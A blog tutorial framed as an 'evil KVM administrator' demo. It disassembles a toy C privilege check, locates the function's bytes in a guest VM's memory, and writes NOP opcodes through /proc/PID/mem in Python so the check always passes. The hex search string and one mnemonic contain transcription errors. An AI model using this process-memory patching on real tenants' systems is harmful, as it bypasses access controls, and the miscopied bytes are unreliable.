Binary patching/hacking VM process


18.09.2023
by Kamil Stawiarski

We are continuing our journey as an evil KVM administrator who wants to mess with a tenants virtual machines.

This time we will modify a binary execution code path by changing machine code opcodes in a running process!

Let’s image a simple C program, that looks like this:

#include <stdio.h>
#include <unistd.h>

int check_priv() {
	int uid = getuid();
	if(uid == 0 || uid == 666) {
		return 0;
	} else {
		return -1;
	}
}

int main() {

	while(1) {
		if(check_priv() == 0) {
			printf("You are a superuser!\n");
		} else {
			printf("You are not that super\n");
		}
		sleep(1);
	}
	return 0;
}

This short code will show "You are a superuser!" if our UID is 0 or 666 and in all other cases it will show "You are not that super".

After compiling and executing the code, you will see the following output:

[oracle@dbVictim ~]$ ./check_privs
You are not that super
You are not that super
You are not that super
You are not that super
^C

Let’s disassemble check_priv function to understand what is going on under the hood:

(gdb) disas /r check_priv
Dump of assembler code for function check_priv:
   0x0000000000400616 <+0>:	55	push   %rbp
   0x0000000000400617 <+1>:	48 89 e5	mov    %rsp,%rbp
   0x000000000040061a <+4>:	48 83 ec 10	sub    $0x10,%rsp
   0x000000000040061e <+8>:	e8 ed fe ff ff	callq  0x400510 <getuid@plt>
   0x0000000000400623 <+13>:	89 45 fc	mov    %eax,-0x4(%rbp)
   0x0000000000400626 <+16>:	83 7d fc 00	cmpl   $0x0,-0x4(%rbp)
   0x000000000040062a <+20>:	74 09	je     0x400635 <check_priv+31>
   0x000000000040062c <+22>:	81 7d fc 9a 02 00 00	cmpl   $0x29a,-0x4(%rbp)
   0x0000000000400633 <+29>:	75 07	jne    0x40063c <check_priv+38>
   0x0000000000400635 <+31>:	b8 00 00 00 00	mov    $0x0,%eax
   0x000000000040063a <+36>:	eb 05	jmp    0x400641 <check_priv+43>
   0x000000000040063c <+38>:	b8 ff ff ff ff	mov    $0xffffffff,%eax
   0x0000000000400641 <+43>:	c9	leaveq
   0x0000000000400642 <+44>:	c3	req
  • callq 0x400510 <getuid@plt>: here we are calling a getuid function – the result of this function is stored at EAX register;
  • mov %eax,-0x4(%rbp): in here we are storing the EAX register value at memory offset, pointed by RBP, minus 4 bytes;
  • cmpl $0x0,-0x4(%rbp): this is comparing "0″ and a value on a memory offset we used earlier to store the result from getuid function;
  • je 0x400635 <check_priv+31>: if the compared values are equal – jump to the 31th byte of this function;
  • cmpl $0x29a,-0x4(%rbp): now compare 0x29a (666) with the memory offset we used earlier to store the result from getuid function ;
  • jne 0x40063c <check_priv+38>: if they are not equal – jump to the 38th byte of the function ;
  • mov $0x0,%eax: store value "0″ on the return registry;
  • jmp 0x400641 <check_priv+43>: jump to byte 43 of this function;
  • mov $0xffffffff,%eax: set value "-1″ on the return registry;
  • leaveq: Prepares the stack for leaving a function
  • retq: return from the function

As you can see, depending on the jump instructions, the return registry is either set with value 0 or with value -1. We want it to be set always to value "0″.

When this would be possible? There’s an awesome instruction called NOP – it basically means: "do nothing and check next byte".

So we would like our code to look like this in the assembly:

Dump of assembler code for function check_priv:
   0x0000000000400616 <+0>:	55	push   %rbp
   0x0000000000400617 <+1>:	48 89 e5	mov    %rsp,%rbp
   0x000000000040061a <+4>:	48 83 ec 10	sub    $0x10,%rsp
   0x000000000040061e <+8>:	e8 ed fe ff ff	callq  0x400510 <getuid@plt>
   0x0000000000400623 <+13>:	90	nop
   0x0000000000400624 <+14>:	90	nop
   0x0000000000400625 <+15>:	90	nop
   0x0000000000400626 <+16>:	90	nop
   0x0000000000400627 <+17>:	90	nop
   0x0000000000400628 <+18>:	90	nop
   0x0000000000400629 <+19>:	90	nop
   0x000000000040062a <+20>:	90	nop
   0x000000000040062b <+21>:	90	nop
   0x000000000040062c <+22>:	90	nop
   0x000000000040062d <+23>:	90	nop
   0x000000000040062e <+24>:	90	nop
   0x000000000040062f <+25>:	90	nop
   0x0000000000400630 <+26>:	90	nop
   0x0000000000400631 <+27>:	90	nop
   0x0000000000400632 <+28>:	90	nop
   0x0000000000400633 <+29>:	90	nop
   0x0000000000400634 <+30>:	90	nop
   0x0000000000400635 <+31>:	b8 00 00 00 00	mov    $0x0,%eax
   0x000000000040063a <+36>:	eb 05	jmp    0x400641 <check_priv+43>
   0x000000000040063c <+38>:	b8 ff ff ff ff	mov    $0xffffffff,%eax

The binary code of our function looks right now like this: "55 48 89 e5 48 83 ec 10 e8 ed fe ff3 7d fc 00 74 09 81 7d fc 9a 02 00 00 75 07 b8 00 00 00 00 eb 05 b8 ff ff ff ff c9 c3″

As an evil KVM administrator, I could find this piece of code running inside a VM:

./focs_vm/target/release/focs_vm -p 15800 -m $((6291456*1024)) -h "55 48 89 e5 48 83 ec 10 e8 ed fe ff3 7d fc 00 74 09 81 7d fc 9a 02 00 00 75 07 b8 00 00 00 00 eb 05 b8 ff ff ff ff c9 c3"
Scanned: 64 %
Found 1 positions in a chunk
Offset: 140697484953110

Length: 256 (0x100) bytes
0000:   55 48 89 e5  48 83 ec 10  e8 ed fe ff  ff 89 45 fc   UH..H.........E.
0010:   83 7d fc 00  74 09 81 7d  fc 9a 02 00  00 75 07 b8   .}..t..}.....u..
0020:   00 00 00 00  eb 05 b8 ff  ff ff ff c9  c3 55 48 89   .............UH.
0030:   e5 b8 00 00  00 00 e8 c5  ff ff ff 85  c0 75 0c bf   .............u..
0040:   18 07 40 00  e8 a1 fe ff  ff eb 0a bf  2d 07 40 00   ..@.........-.@.
0050:   e8 95 fe ff  ff bf 01 00  00 00 e8 ab  fe ff ff eb   ................
0060:   d0 66 0f 1f  84 00 00 00  00 00 f3 0f  1e fa 41 57   .f............AW
0070:   49 89 d7 41  56 49 89 f6  41 55 41 89  fd 41 54 4c   I..AVI..AUA..ATL
0080:   8d 25 64 07  20 00 55 48  8d 2d 64 07  20 00 53 4c   .%d. .UH.-d. .SL
0090:   29 e5 48 83  ec 08 e8 1f  fe ff ff 48  c1 fd 03 74   ).H........H...t
00a0:   1f 31 db 0f  1f 80 00 00  00 00 4c 89  fa 4c 89 f6   .1........L..L..
00b0:   44 89 ef 41  ff 14 dc 48  83 c3 01 48  39 dd 75 ea   D..A...H...H9.u.
00c0:   48 83 c4 08  5b 5d 41 5c  41 5d 41 5e  41 5f c3 66   H...[]A\A]A^A_.f
00d0:   66 2e 0f 1f  84 00 00 00  00 00 f3 0f  1e fa c3 00   f...............
00e0:   00 00 f3 0f  1e fa 48 83  ec 08 48 83  c4 08 c3 00   ......H...H.....
00f0:   00 00 01 00  02 00 00 00  00 00 00 00  00 00 00 00   ................

Now we can try to modify binary this part of the memory to change execution path of our program:

>>> import binascii
>>> f = open("/proc/15800/mem", "rb+")
>>> f.seek(140697484953110+13)
>>> nop = binascii.unhexlify("90")
>>> for i in range(17):
...   nop += binascii.unhexlify("90")
...
>>> len(nop)
18
>>> f.write(nop)
>>> f.flush()

By doing this, I jumped 13 bytes further than the beginning of my function and I added 18 NOP instructions, to jump directly to offset @31 and force my function to return desired value!

On my victim machine I will immediately see the desired output:

You are not that super
You are not that super
You are not that super
You are not that super
You are not that super
You are a superuser!
You are a superuser!
You are a superuser!
You are a superuser!
You are a superuser!

And that’s it! We have changed the assembly of our program to do what we wanted 🙂

Stay tuned for more!


Contact us

Database Whisperers sp. z o. o. sp. k.
al. Jerozolimskie 200, 3rd floor, room 342
02-486 Warszawa
NIP: 5272744987
REGON:362524978
+48 508 943 051
+48 661 966 009
info@ora-600.pl

Newsletter Sign up to be updated